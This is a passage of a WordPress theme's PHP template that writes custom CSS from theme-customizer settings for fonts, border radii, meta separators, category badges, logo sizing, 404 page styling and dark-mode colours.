            #main #bbpress-forums .bbp-login-form fieldset.bbp-form select, #main #bbpress-forums .bbp-login-form .bbp-form input[type="password"], #main #bbpress-forums .bbp-login-form .bbp-form input[type="text"], .penci-login-register input[type="email"], .penci-login-register input[type="text"], .penci-login-register input[type="password"], .penci-login-register input[type="number"], body, textarea, #respond textarea, .widget input[type="text"], .widget input[type="email"], .widget input[type="date"], .widget input[type="number"], .wpcf7 textarea, .mc4wp-form input, #respond input,
            div.wpforms-container .wpforms-form.wpforms-form input[type=date], div.wpforms-container .wpforms-form.wpforms-form input[type=datetime], div.wpforms-container .wpforms-form.wpforms-form input[type=datetime-local], div.wpforms-container .wpforms-form.wpforms-form input[type=email], div.wpforms-container .wpforms-form.wpforms-form input[type=month], div.wpforms-container .wpforms-form.wpforms-form input[type=number], div.wpforms-container .wpforms-form.wpforms-form input[type=password], div.wpforms-container .wpforms-form.wpforms-form input[type=range], div.wpforms-container .wpforms-form.wpforms-form input[type=search], div.wpforms-container .wpforms-form.wpforms-form input[type=tel], div.wpforms-container .wpforms-form.wpforms-form input[type=text], div.wpforms-container .wpforms-form.wpforms-form input[type=time], div.wpforms-container .wpforms-form.wpforms-form input[type=url], div.wpforms-container .wpforms-form.wpforms-form input[type=week], div.wpforms-container .wpforms-form.wpforms-form select, div.wpforms-container .wpforms-form.wpforms-form textarea,
            .wpcf7 input, form.pc-searchform input.search-input, ul.homepage-featured-boxes .penci-fea-in h4, .widget.widget_categories ul li span.category-item-count, .about-widget .about-me-heading, .widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta { font-weight: <?php echo get_theme_mod( 'penci_font_weight_bodytext' ); ?> }
		<?php } ?>
		<?php
		if ( get_theme_mod( 'penci_font_for_slogan' ) ) {
			$font_family_slogan     = get_theme_mod( 'penci_font_for_slogan' );
			$font_family_slogan_end = $font_family_slogan;
			if ( ! array_key_exists( $font_family_slogan, penci_font_browser() ) ) {
				$font_family_slogan = str_replace( '"', '', $font_family_slogan );
				$font_slogan_explo  = explode( ", ", $font_family_slogan );
				$font_slogan        = isset( $font_slogan_explo[0] ) ? $font_slogan_explo[0] : '';
				$font_slogan_serif  = isset( $font_slogan_explo[2] ) ? $font_slogan_explo[2] : '';
				$space_slogan_end   = ', ';
				if ( empty( $font_slogan_serif ) ): $space_slogan_end = ''; endif;
				$font_family_slogan_end = "'" . $font_slogan . "'" . $space_slogan_end . $font_slogan_serif;
			}
			?>
            .header-slogan .header-slogan-text{ font-family: <?php echo sanitize_text_field( $font_family_slogan_end ); ?>;  }
		<?php } ?>
		<?php
		if ( get_theme_mod( 'penci_font_for_menu' ) ) {
			$font_family_menu     = get_theme_mod( 'penci_font_for_menu' );
			$font_family_menu_end = $font_family_menu;
			if ( ! array_key_exists( $font_family_menu, penci_font_browser() ) ) {
				$font_family_menu = str_replace( '"', '', $font_family_menu );
				$font_menu_explo  = explode( ", ", $font_family_menu );
				$font_menu        = isset( $font_menu_explo[0] ) ? $font_menu_explo[0] : '';
				$font_menu_serif  = isset( $font_menu_explo[2] ) ? $font_menu_explo[2] : '';
				$space_menu_end   = ', ';
				if ( empty( $font_menu_serif ) ): $space_menu_end = ''; endif;
				$font_family_menu_end = "'" . $font_menu . "'" . $space_menu_end . $font_menu_serif;
			}
			?>
            #navigation .menu > li > a, #navigation ul.menu ul.sub-menu li > a, .navigation ul.menu ul.sub-menu li > a, .penci-menu-hbg .menu li a, #sidebar-nav .menu li a { font-family: <?php echo sanitize_text_field( $font_family_menu_end ); ?>; font-weight: normal; }
		<?php } ?>
        .penci-hide-tagupdated{ display: none !important; }
		<?php if ( get_theme_mod( 'penci_font_style_slogan' ) ): ?>
            .header-slogan .header-slogan-text { font-style:<?php echo get_theme_mod( 'penci_font_style_slogan' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_font_weight_slogan' ) ): ?>
            .header-slogan .header-slogan-text { font-weight:<?php echo get_theme_mod( 'penci_font_weight_slogan' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_font_size_slogan' ) ): ?>
            .header-slogan .header-slogan-text { font-size:<?php echo get_theme_mod( 'penci_font_size_slogan' ); ?>px; }
		<?php endif; ?>
		<?php
		$body_size                    = get_theme_mod( 'penci_font_for_size_body' );
		if ( is_numeric( $body_size ) && $body_size > 1 && $body_size != '14' ): ?>
            body, .widget ul li a{ font-size: <?php echo absint( $body_size ); ?>px; }
            .widget ul li, .widget ol li, .post-entry, p, .post-entry p { font-size: <?php echo absint( $body_size ); ?>px; line-height: 1.8; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_font_mfor_size_body' ) && '14' != get_theme_mod( 'penci_font_mfor_size_body' ) ): ?>
            @media only screen and (max-width: 480px){ body, .widget ul li a, .widget ul li, .widget ol li, .post-entry, p, .post-entry p{ font-size: <?php echo get_theme_mod( 'penci_font_mfor_size_body' ); ?>px; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_archive_fpagetitle' ) ): ?>
            .archive-box span, .archive-box h1{ font-size: <?php echo get_theme_mod( 'penci_archive_fpagetitle' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_archive_mobile_fpagetitle' ) ): ?>
            @media only screen and (max-width: 479px){ .archive-box span, .archive-box h1{ font-size: <?php echo get_theme_mod( 'penci_archive_mobile_fpagetitle' ); ?>px; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_archive_uppagetitle' ) ): ?>
            .archive-box span, .archive-box h1{ text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_body_line_height' ) && '1.8' != get_theme_mod( 'penci_body_line_height' ) ): ?>
            .widget ul li, .widget ol li, .post-entry, p, .post-entry p{ line-height: <?php echo get_theme_mod( 'penci_body_line_height' ); ?>; }
		<?php endif; ?>
		<?php
		if ( get_theme_mod( 'penci_font_weight_title' ) ) {
			?>
            <?php echo $body; ?> { --pchead-wei: <?php echo get_theme_mod( 'penci_font_weight_title' ); ?>; }
			<?php
		}
		?>
		<?php if ( get_theme_mod( 'penci_image_border_radius' ) ) { ?>
			.featured-area.featured-style-42 .item-inner-content,
			.featured-style-41 .swiper-slide,
			.slider-40-wrapper .nav-thumb-creative .thumb-container:after,.penci-slider44-t-item:before,.penci-slider44-main-wrapper .item,
            .penci-image-holder, .penci-mega-post-inner, .standard-post-image img, .penci-overlay-over:before, .penci-overlay-over .overlay-border, .penci-grid li .item img,
            .penci-masonry .item-masonry a img, .penci-grid .list-post.list-boxed-post, .penci-grid li.list-boxed-post-2 .content-boxed-2, .grid-mixed,
            .penci-grid li.typography-style .overlay-typography, .penci-grid li.typography-style .overlay-typography:before, .penci-grid li.typography-style .overlay-typography:after,
            .container-single .post-image, .home-featured-cat-content .mag-photo .mag-overlay-photo, .mag-single-slider-overlay, ul.homepage-featured-boxes li .penci-fea-in:before, ul.homepage-featured-boxes li .penci-fea-in:after, ul.homepage-featured-boxes .penci-fea-in .fea-box-img:after, ul.homepage-featured-boxes li .penci-fea-in, .penci-slider38-overlay, .pcbg-thumb, .pcbg-bgoverlay, .pcrlt-style-2 .item-related .item-related-inner, .post-pagination.pcpagp-style-3 .next-post-inner, .post-pagination.pcpagp-style-3 .prev-post-inner { border-radius: <?php echo get_theme_mod( 'penci_image_border_radius' ); ?>; -webkit-border-radius: <?php echo get_theme_mod( 'penci_image_border_radius' ); ?>; }
            .penci-featured-content-right:before{ border-top-right-radius: <?php echo get_theme_mod( 'penci_image_border_radius' ); ?>; border-bottom-right-radius: <?php echo get_theme_mod( 'penci_image_border_radius' ); ?>; }
            .penci-slider4-overlay, .penci-slide-overlay .overlay-link, .featured-style-29 .featured-slider-overlay, .penci-widget-slider-overlay{ border-radius: <?php echo get_theme_mod( 'penci_image_border_radius' ); ?>; -webkit-border-radius: <?php echo get_theme_mod( 'penci_image_border_radius' ); ?>; }
            .penci-flat-overlay .penci-slide-overlay .penci-mag-featured-content:before{ border-bottom-left-radius: <?php echo get_theme_mod( 'penci_image_border_radius' ); ?>; border-bottom-right-radius: <?php echo get_theme_mod( 'penci_image_border_radius' ); ?>; }
			.post-pagination.pcpagp-style-3 .next-post-inner,
			.post-pagination.pcpagp-style-3 .prev-post-inner,
			.pcrlt-style-2 .item-related .item-related-inner {overflow: hidden}
		<?php } ?>
		<?php if ( get_theme_mod( 'penci_slider_border_radius' ) || '0' == get_theme_mod( 'penci_slider_border_radius' ) ) { ?>
			.featured-area.featured-style-42 .item-inner-content,
			.featured-style-41 .swiper-slide,
			.slider-40-wrapper .nav-thumb-creative .thumb-container:after,.penci-slider44-t-item:before,.penci-slider44-main-wrapper .item,
            .featured-area .penci-image-holder, .featured-area .penci-slider4-overlay, .featured-area .penci-slide-overlay .overlay-link, .featured-style-29 .featured-slider-overlay, .penci-slider38-overlay{ border-radius: <?php echo get_theme_mod( 'penci_slider_border_radius' ); ?>; -webkit-border-radius: <?php echo get_theme_mod( 'penci_slider_border_radius' ); ?>; }
            .penci-featured-content-right:before{ border-top-right-radius: <?php echo get_theme_mod( 'penci_image_border_radius' ); ?>; border-bottom-right-radius: <?php echo get_theme_mod( 'penci_image_border_radius' ); ?>; }
            .penci-flat-overlay .penci-slide-overlay .penci-mag-featured-content:before{ border-bottom-left-radius: <?php echo get_theme_mod( 'penci_image_border_radius' ); ?>; border-bottom-right-radius: <?php echo get_theme_mod( 'penci_image_border_radius' ); ?>; }
		<?php } ?>
		<?php if ( get_theme_mod( 'penci_post_featured_image_radius' ) || '0' == get_theme_mod( 'penci_post_featured_image_radius' ) ) { ?>
            .container-single .post-image{ border-radius: <?php echo get_theme_mod( 'penci_post_featured_image_radius' ); ?>; -webkit-border-radius: <?php echo get_theme_mod( 'penci_post_featured_image_radius' ); ?>; }
		<?php } ?>
		<?php if ( get_theme_mod( 'penci_megamenu_border_radius' ) || '0' == get_theme_mod( 'penci_megamenu_border_radius' ) ) { ?>
            .penci-mega-post-inner, .penci-mega-thumbnail .penci-image-holder{ border-radius: <?php echo get_theme_mod( 'penci_megamenu_border_radius' ); ?>; -webkit-border-radius: <?php echo get_theme_mod( 'penci_megamenu_border_radius' ); ?>; }
		<?php } ?>

		<?php if ( get_theme_mod( 'penci_separator_post_meta' ) ) {
			$separator_meta           = get_theme_mod( 'penci_separator_post_meta' );
			$separator_meta_selectors = '.penci-magazine-slider .mag-item-1 .mag-meta-child span:after, .penci-magazine-slider .mag-meta-child span:after, .post-box-meta-single > span:before, .standard-top-meta > span:before, .penci-mag-featured-content .feat-meta > span:after, .penci-featured-content .feat-text .feat-meta > span:after, .featured-style-35 .featured-content-excerpt .feat-meta > span:after, .penci-post-box-meta .penci-box-meta span:after, .grid-post-box-meta span:after, .overlay-post-box-meta > div:after';
			?>
			<?php if ( 'horiline' == $separator_meta ) { ?>
				<?php echo $separator_meta_selectors; ?>{ height: 1px; width: 5px; border: none; border-top: 1px solid; vertical-align: middle; }
			<?php } else if ( 'bcricle' == $separator_meta ) { ?>
				<?php echo $separator_meta_selectors; ?>{ box-sizing: border-box; -webkit-box-sizing: border-box; width: 4px; height: 4px; border: 1px solid; border-radius: 2px; transform: translateY(-2px); -webkit-transform: translateY(-2px); }
			<?php } else if ( 'circle' == $separator_meta ) { ?>
				<?php echo $separator_meta_selectors; ?>{ box-sizing: border-box; -webkit-box-sizing: border-box; width: 4px; height: 4px; border: 2px solid; border-radius: 2px; transform: translateY(-2px); -webkit-transform: translateY(-2px); }
			<?php } else if ( 'bsquare' == $separator_meta ) { ?>
				<?php echo $separator_meta_selectors; ?>{ box-sizing: border-box; -webkit-box-sizing: border-box; width: 4px; height: 4px; border: 1px solid; transform: translateY(-2px); -webkit-transform: translateY(-2px); }
			<?php } else if ( 'square' == $separator_meta ) { ?>
				<?php echo $separator_meta_selectors; ?>{ box-sizing: border-box; -webkit-box-sizing: border-box; width: 4px; height: 4px; border: 2px solid; transform: translateY(-2px); -webkit-transform: translateY(-2px); }
			<?php } else if ( 'diamond' == $separator_meta ) { ?>
				<?php echo $separator_meta_selectors; ?>{ box-sizing: border-box; -webkit-box-sizing: border-box; width: 4px; height: 4px; border: 2px solid; transform: translateY(-2px) rotate(45deg); -webkit-transform: translateY(-2px) rotate(45deg); }
			<?php } else if ( 'bdiamond' == $separator_meta ) { ?>
				<?php echo $separator_meta_selectors; ?>{ margin: 0 12px 0 12px; box-sizing: border-box; -webkit-box-sizing: border-box; width: 5px; height: 5px; border: 1px solid; transform: translateY(-2px) rotate(45deg); -webkit-transform: translateY(-2px) rotate(45deg); }
			<?php } ?>
		<?php } ?>

		<?php if ( get_theme_mod( 'penci_separator_cat' ) ) {
			$separator_cat           = get_theme_mod( 'penci_separator_cat' );
			$separator_cat_selectors = '.cat > a.penci-cat-name:after';
			?>
			<?php if ( 'horiline' == $separator_cat ) { ?>
				<?php echo $separator_cat_selectors; ?>{ height: 1px; width: 5px; border: none; border-top: 1px solid; vertical-align: middle; transform: none; margin-top: 0; }
			<?php } else if ( 'bcricle' == $separator_cat ) { ?>
				<?php echo $separator_cat_selectors; ?>{ width: 4px; height: 4px; box-sizing: border-box; -webkit-box-sizing: border-box; transform: none; border-radius: 2px; margin-top: -2px; }
			<?php } else if ( 'circle' == $separator_cat ) { ?>
				<?php echo $separator_cat_selectors; ?>{ width: 4px; height: 4px; box-sizing: border-box; -webkit-box-sizing: border-box; transform: none; border-radius: 2px; margin-top: -2px; border-width: 2px; }
			<?php } else if ( 'bsquare' == $separator_cat ) { ?>
				<?php echo $separator_cat_selectors; ?>{ width: 4px; height: 4px; box-sizing: border-box; -webkit-box-sizing: border-box; transform: none; margin-top: -2px; }
			<?php } else if ( 'square' == $separator_cat ) { ?>
				<?php echo $separator_cat_selectors; ?>{ width: 4px; height: 4px; box-sizing: border-box; -webkit-box-sizing: border-box; transform: none; margin-top: -2px; border-width: 2px; }
			<?php } else if ( 'diamond' == $separator_cat ) { ?>
				<?php echo $separator_cat_selectors; ?>{ width: 4px; height: 4px; box-sizing: border-box; -webkit-box-sizing: border-box; margin-top: -2px; border-width: 2px; }
			<?php } else if ( 'verline' == $separator_cat ) { ?>
				<?php echo $separator_cat_selectors; ?>{ height: 8px; width: 1px; border: none; border-right: 1px solid; transform: none; margin-top: -4px; }
			<?php } ?>
		<?php } ?>

		<?php if ( get_theme_mod( 'penci_catdesign' ) ) {
			$pccatdesign = get_theme_mod( 'penci_catdesign' ); ?>
            .cat > a.penci-cat-name{ font-size: 11px; padding: 2px 7px; color: #fff; line-height: 14px; background: rgba(0, 0, 0, 0.8); margin: 0 6px 5px 0; }
            .cat > a.penci-cat-name:last-child{ padding: 2px 7px; }
            body.rtl .cat > a.penci-cat-name{ margin-left: 6px; margin-right: 0; }
            .cat > a.penci-cat-name:hover{ background: var(--pcaccent-cl); }
            .cat > a.penci-cat-name:after{ content: none; display: none; }
            body.pcdm-enable.pcdark-mode .cat > a.penci-cat-name{ background:var(--pcbg-l-cl); color:var(--pctext-cl) !important; }
            body.pcdm-enable.pcdark-mode .cat > a.penci-cat-name:hover{ background:var(--pcaccent-cl); color:var(--pctext-cl) !important; }
			<?php if ( 'fillr' == $pccatdesign ): ?>
                .cat > a.penci-cat-name{ border-radius: 3px; -webkit-border-radius: 3px; }
			<?php endif; ?>
			<?php if ( 'fillc' == $pccatdesign ): ?>
                .cat > a.penci-cat-name{ border-radius: 20px; -webkit-border-radius: 20px;}
                .cat > a.penci-cat-name, .cat > a.penci-cat-name:last-child{ padding: 2px 10px; }
			<?php endif; ?>
		<?php } ?>
		<?php if ( get_theme_mod( 'penci_cfiled_cl' ) ) { ?>
            .pccatds-filled .cat > a.penci-cat-name{ color: <?php echo get_theme_mod( 'penci_cfiled_cl' ); ?>; }
		<?php } ?>
		<?php if ( get_theme_mod( 'penci_cfiled_bgcl' ) ) { ?>
            .pccatds-filled .cat > a.penci-cat-name{ background-color: <?php echo get_theme_mod( 'penci_cfiled_bgcl' ); ?>; }
		<?php } ?>
		<?php if ( get_theme_mod( 'penci_cfiled_hcl' ) ) { ?>
            .pccatds-filled .cat > a.penci-cat-name:hover{ color: <?php echo get_theme_mod( 'penci_cfiled_hcl' ); ?>; }
		<?php } ?>
		<?php if ( get_theme_mod( 'penci_cfiled_hbgcl' ) ) { ?>
            .pccatds-filled .cat > a.penci-cat-name:hover{ background-color: <?php echo get_theme_mod( 'penci_cfiled_hbgcl' ); ?>; }
		<?php } ?>
		<?php if ( get_theme_mod( 'penci_font_weight_menu' ) ) { ?>
            #navigation .menu > li > a, #navigation ul.menu ul.sub-menu li > a, .navigation ul.menu ul.sub-menu li > a, .penci-menu-hbg .menu li a, #sidebar-nav .menu li a, #navigation .penci-megamenu .penci-mega-child-categories a, .navigation .penci-megamenu .penci-mega-child-categories a{ font-weight: <?php echo get_theme_mod( 'penci_font_weight_menu' ); ?>; }
		<?php } ?>
		<?php if ( get_theme_mod( 'penci_body_boxed_bg_color' ) ): ?>
            body.penci-body-boxed { background-color:<?php echo get_theme_mod( 'penci_body_boxed_bg_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_body_boxed_bg_image' ) ): ?>
            body.penci-body-boxed { background-image: url(<?php echo get_theme_mod( 'penci_body_boxed_bg_image' ); ?>); }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_body_boxed_bg_repeat' ) ): ?>
            body.penci-body-boxed { background-repeat:<?php echo get_theme_mod( 'penci_body_boxed_bg_repeat' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_body_boxed_bg_attachment' ) ): ?>
            body.penci-body-boxed { background-attachment:<?php echo get_theme_mod( 'penci_body_boxed_bg_attachment' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_body_boxed_bg_size' ) ): ?>
            body.penci-body-boxed { background-size:<?php echo get_theme_mod( 'penci_body_boxed_bg_size' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_padding' ) ): ?>
            #header .inner-header .container { padding:<?php echo get_theme_mod( 'penci_header_padding' ); ?>px 0; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_logo_max_width' ) && get_theme_mod( 'penci_logo_max_width' ) > 0 ): ?>
            #logo a { max-width:<?php echo get_theme_mod( 'penci_logo_max_width' ); ?>px; width: 100%; }
            @media only screen and (max-width: 960px) and (min-width: 768px){ #logo img{ max-width: 100%; } }
			<?php if ( get_theme_mod( 'penci_logo' ) ) {
				$logo_url_upload = get_theme_mod( 'penci_logo' );
				$logo_type       = wp_check_filetype( $logo_url_upload );
				if ( 'svg' == $logo_type['ext'] ) {
					echo '#logo a img, #navigation.header-6 #logo img{ width: 100%; }';
				}
			} ?>
		<?php endif; ?>
		<?php
		/* CSL for logo img */
		if ( get_theme_mod( 'penci_logo' ) && ! is_user_logged_in() && get_theme_mod( 'penci_enable_spoptimizer' ) && function_exists( 'hpp_shouldlazy' ) && hpp_shouldlazy() ) {
			$logo_src_data   = get_theme_mod( 'penci_logo' );
			$logo_src_width  = penci_get_image_data_basedurl( $logo_src_data, 'w' );
			$logo_src_height = penci_get_image_data_basedurl( $logo_src_data, 'h' );
			if ( $logo_src_width && $logo_src_height ) {
				$logo_maxwidth      = get_theme_mod( 'penci_logo_max_width' );
				$logo_src_ratio     = $logo_src_height / $logo_src_width;
				$array_logo_width   = array( 1170 );
				$array_logo_width[] = (int) $logo_src_width;
				if ( $logo_maxwidth ) {
					$logo_src_mw_data   = get_theme_mod( 'penci_logo_max_width' );
					$array_logo_width[] = (int) $logo_src_mw_data;
				}
				$logo_height_desktop = round( min( $array_logo_width ) * $logo_src_ratio );
				if ( $logo_src_width > 355 ) {
					if ( ! $logo_maxwidth || ( $logo_maxwidth && ( $logo_maxwidth > 355 ) ) ) {
						$logo_height_mobile = round( 355 * $logo_src_ratio );
					} elseif ( $logo_maxwidth && ( $logo_maxwidth < 355 ) ) {
						$logo_height_mobile = round( $logo_maxwidth * $logo_src_ratio );
					}
				}
				echo '@media only screen and (min-width: 1170px){.inner-header img.pclogo-cls{ width: auto; height:' . $logo_height_desktop . 'px;}}';
				echo '@media only screen and (max-width: 479px){.inner-header img.pclogo-cls{ width: auto; height:' . $logo_height_mobile . 'px;}}';
			}
		}
		if ( get_theme_mod( 'penci_logo_height' ) ): ?>
            @media only screen and (min-width: 1170px){.inner-header #logo img{ width: auto; height:<?php echo get_theme_mod( 'penci_logo_height' ); ?>px; }}
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_logo_height_mobile' ) ): ?>
            @media only screen and (max-width: 479px){ .inner-header #logo img{ width: auto; height:<?php echo get_theme_mod( 'penci_logo_height_mobile' ); ?>px; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_logo_max_width_overflow' ) && get_theme_mod( 'penci_logo_max_width_overflow' ) > 0 ): ?>
            @media only screen and (min-width: 960px){.is-sticky #navigation.penci-logo-overflow.header-10 #logo a, .is-sticky #navigation.penci-logo-overflow.header-11 #logo a{ max-width:<?php echo get_theme_mod( 'penci_logo_max_width_overflow' ); ?>px; }}
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_page_custom_width' ) ): ?>
            .penci-page-container-smaller { max-width:<?php echo get_theme_mod( 'penci_page_custom_width' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_page_title_uppercase' ) ): ?>
            .penci-page-header h1 { text-transform: none; }
		<?php endif; ?>
		<?php echo penci_renders_css( '.penci-page-header h1', 'penci_page_title_fsize' ); ?>
		<?php if ( get_theme_mod( 'penci_pagetitle_color' ) ): ?>
            .penci-page-header h1 { color: <?php echo get_theme_mod( 'penci_pagetitle_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_page_sharetext_fsize' ) ): ?>
            .tags-share-box.hide-tags.page-share .share-title{ font-size: <?php echo get_theme_mod( 'penci_page_sharetext_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_page_shareicon_fsize' ) ): ?>
            .tags-share-box.hide-tags.page-share .post-share a{ font-size: <?php echo get_theme_mod( 'penci_page_shareicon_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_psharetext_color' ) ): ?>
            .tags-share-box.hide-tags.page-share .share-title{ color: <?php echo get_theme_mod( 'penci_psharetext_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_pageshareicon_color' ) ): ?>
            .tags-share-box.hide-tags.page-share .post-share a{ color: <?php echo get_theme_mod( 'penci_pageshareicon_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_pageshareicon_hcolor' ) ): ?>
            .tags-share-box.hide-tags.page-share .post-share a:hover{ color: <?php echo get_theme_mod( 'penci_pageshareicon_hcolor' ); ?>; }
		<?php endif; ?>

		<?php if ( get_theme_mod( 'penci_not_found_removeline' ) ): ?>
            .error-image{ padding-bottom: 0; } .error-image:after{ content: none; display: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_notfound_message_fsize' ) ): ?>
            .error-404 .sub-heading-text-404{ font-size: <?php echo get_theme_mod( 'penci_notfound_message_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_notfound_input_fsize' ) ): ?>
            .error-404 form.pc-searchform input.search-input{ font-size: <?php echo get_theme_mod( 'penci_notfound_input_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_notfound_backhome_fsize' ) ): ?>
            .error-404 .go-back-home a{ font-size: <?php echo get_theme_mod( 'penci_notfound_backhome_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_404_line_color' ) ): ?>
            .error-image:after{ background-color: <?php echo get_theme_mod( 'penci_404_line_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_404_message_ctext' ) ): ?>
            .error-404 .sub-heading-text-404{ color: <?php echo get_theme_mod( 'penci_404_message_ctext' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_404_input_color' ) ): ?>
            .error-404 form.pc-searchform input.search-input{ color: <?php echo get_theme_mod( 'penci_404_input_color' ); ?>; }
            .error-404 form.pc-searchform input.search-input::-webkit-input-placeholder{ color: <?php echo get_theme_mod( 'penci_404_input_color' ); ?>; }
            .error-404 form.pc-searchform input.search-input:-ms-input-placeholder{ color: <?php echo get_theme_mod( 'penci_404_input_color' ); ?>; }
            .error-404 form.pc-searchform input.search-input::placeholder{ color: <?php echo get_theme_mod( 'penci_404_input_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_404_formborder_color' ) ): ?>
            .error-404 form.pc-searchform input.search-input{ border-color: <?php echo get_theme_mod( 'penci_404_formborder_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_404_backhome_color' ) ): ?>
            .error-404 .go-back-home a{ color: <?php echo get_theme_mod( 'penci_404_backhome_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_post_caption_below' ) ): ?>
            .wp-caption p.wp-caption-text, .penci-featured-caption { position: static; background: none; padding: 11px 0 0; color: #888; }
            .wp-caption:hover p.wp-caption-text, .post-image:hover .penci-featured-caption{ opacity: 1; transform: none; -webkit-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_post_caption_disable_italic' ) ): ?>
            .wp-caption p.wp-caption-text, .penci-featured-caption { font-style: normal; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_enable_dark_layout' ) ): ?>
            body.pcdark-mode .post-entry .wp-block-quote,
            body.pcdark-mode .wpb_text_column .wp-block-quote,
            body.pcdark-mode .woocommerce .page-description .wp-block-quote {
            border-color: #888;
            }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_bg_color_dark' ) ): ?>
            body{ --pcbg-cl: <?php echo penci_get_setting( 'penci_bg_color_dark' ); ?>; }
            .penci-single-style-7:not( .penci-single-pheader-noimg ).penci_sidebar #main article.post, .penci-single-style-3:not( .penci-single-pheader-noimg ).penci_sidebar #main article.post { background-color: var(--pcbg-cl); }
            @media only screen and (max-width: 767px){ .standard-post-special_wrapper { background: var(--pcbg-cl); } }
            .wrapper-boxed, .wrapper-boxed.enable-boxed, .home-pupular-posts-title span, .penci-post-box-meta.penci-post-box-grid .penci-post-share-box, .penci-pagination.penci-ajax-more a.penci-ajax-more-button, .woocommerce .woocommerce-product-search input[type="search"], .overlay-post-box-meta, .widget ul.side-newsfeed li.featured-news2 .side-item .side-item-text, .widget select, .widget select option, .woocommerce .woocommerce-error, .woocommerce .woocommerce-info, .woocommerce .woocommerce-message, #penci-demobar, #penci-demobar .style-toggle, .grid-overlay-meta .grid-header-box, .header-standard.standard-overlay-meta{ background-color: var(--pcbg-cl); }
            .penci-grid .list-post.list-boxed-post .item > .thumbnail:before{ border-right-color: var(--pcbg-cl); }
            .penci-grid .list-post.list-boxed-post:nth-of-type(2n+2) .item > .thumbnail:before{ border-left-color: var(--pcbg-cl); }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_border_color_dark' ) ): ?>
            body{ --pcborder-cl: <?php echo penci_get_setting( 'penci_border_color_dark' ); ?>; }
            #main #bbpress-forums .bbp-login-form fieldset.bbp-form select, #main #bbpress-forums .bbp-login-form .bbp-form input[type="password"], #main #bbpress-forums .bbp-login-form .bbp-form input[type="text"],
            .widget ul li, .grid-mixed, .penci-post-box-meta, .penci-pagination.penci-ajax-more a.penci-ajax-more-button, .widget-social a i, .penci-home-popular-posts, .header-header-1.has-bottom-line, .header-header-4.has-bottom-line, .header-header-7.has-bottom-line, .container-single .post-entry .post-tags a,.tags-share-box.tags-share-box-2_3,.tags-share-box.tags-share-box-top, .tags-share-box, .post-author, .post-pagination, .post-related, .post-comments .post-title-box, .comments .comment, #respond textarea, .wpcf7 textarea, #respond input,
            div.wpforms-container .wpforms-form.wpforms-form input[type=date], div.wpforms-container .wpforms-form.wpforms-form input[type=datetime], div.wpforms-container .wpforms-form.wpforms-form input[type=datetime-local], div.wpforms-container .wpforms-form.wpforms-form input[type=email], div.wpforms-container .wpforms-form.wpforms-form input[type=month], div.wpforms-container .wpforms-form.wpforms-form input[type=number], div.wpforms-container .wpforms-form.wpforms-form input[type=password], div.wpforms-container .wpforms-form.wpforms-form input[type=range], div.wpforms-container .wpforms-form.wpforms-form input[type=search], div.wpforms-container .wpforms-form.wpforms-form input[type=tel], div.wpforms-container .wpforms-form.wpforms-form input[type=text], div.wpforms-container .wpforms-form.wpforms-form input[type=time], div.wpforms-container .wpforms-form.wpforms-form input[type=url], div.wpforms-container .wpforms-form.wpforms-form input[type=week], div.wpforms-container .wpforms-form.wpforms-form select, div.wpforms-container .wpforms-form.wpforms-form textarea,
            .wpcf7 input, .widget_wysija input, #respond h3, form.pc-searchform input.search-input, .post-password-form input[type="text"], .post-password-form input[type="email"], .post-password-form input[type="password"], .post-password-form input[type="number"], .penci-recipe, .penci-recipe-heading, .penci-recipe-ingredients, .penci-recipe-notes, .penci-pagination ul.page-numbers li span, .penci-pagination ul.page-numbers li a, #comments_pagination span, #comments_pagination a, body.author .post-author, .tags-share-box.hide-tags.page-share, .penci-grid li.list-post, .penci-grid li.list-boxed-post-2 .content-boxed-2, .home-featured-cat-content .mag-post-box, .home-featured-cat-content.style-2 .mag-post-box.first-post, .home-featured-cat-content.style-10 .mag-post-box.first-post, .widget select, .widget ul ul, .widget input[type="text"], .widget input[type="email"], .widget input[type="date"], .widget input[type="number"], .widget input[type="search"], .widget .tagcloud a, #wp-calendar tbody td, .woocommerce div.product .entry-summary div[itemprop="description"] td, .woocommerce div.product .entry-summary div[itemprop="description"] th, .woocommerce div.product .woocommerce-tabs #tab-description 